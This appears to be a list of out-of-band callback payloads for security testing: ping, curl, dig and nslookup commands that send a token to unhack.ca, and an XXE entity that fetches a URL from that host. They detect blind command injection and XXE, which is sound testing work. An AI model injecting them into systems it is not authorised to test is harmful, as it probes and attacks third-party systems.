$ ping -c1 -p 0086841eabb2bd2cca122ca0bca56400 unhack.ca
 

$ curl http://unhack.ca/p/86841eabb2bd2cca122ca0bca564
 

$ dig 86841eabb2bd2cca122ca0bca564 @unhack.ca
 

$ dig 86841eabb2bd2cca122ca0bca564.ns.unhack.ca
 

C:\> nslookup 86841eabb2bd2cca122ca0bca564 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/86841eabb2bd2cca122ca0bca564">]>
    <foo>&xxe;</foo>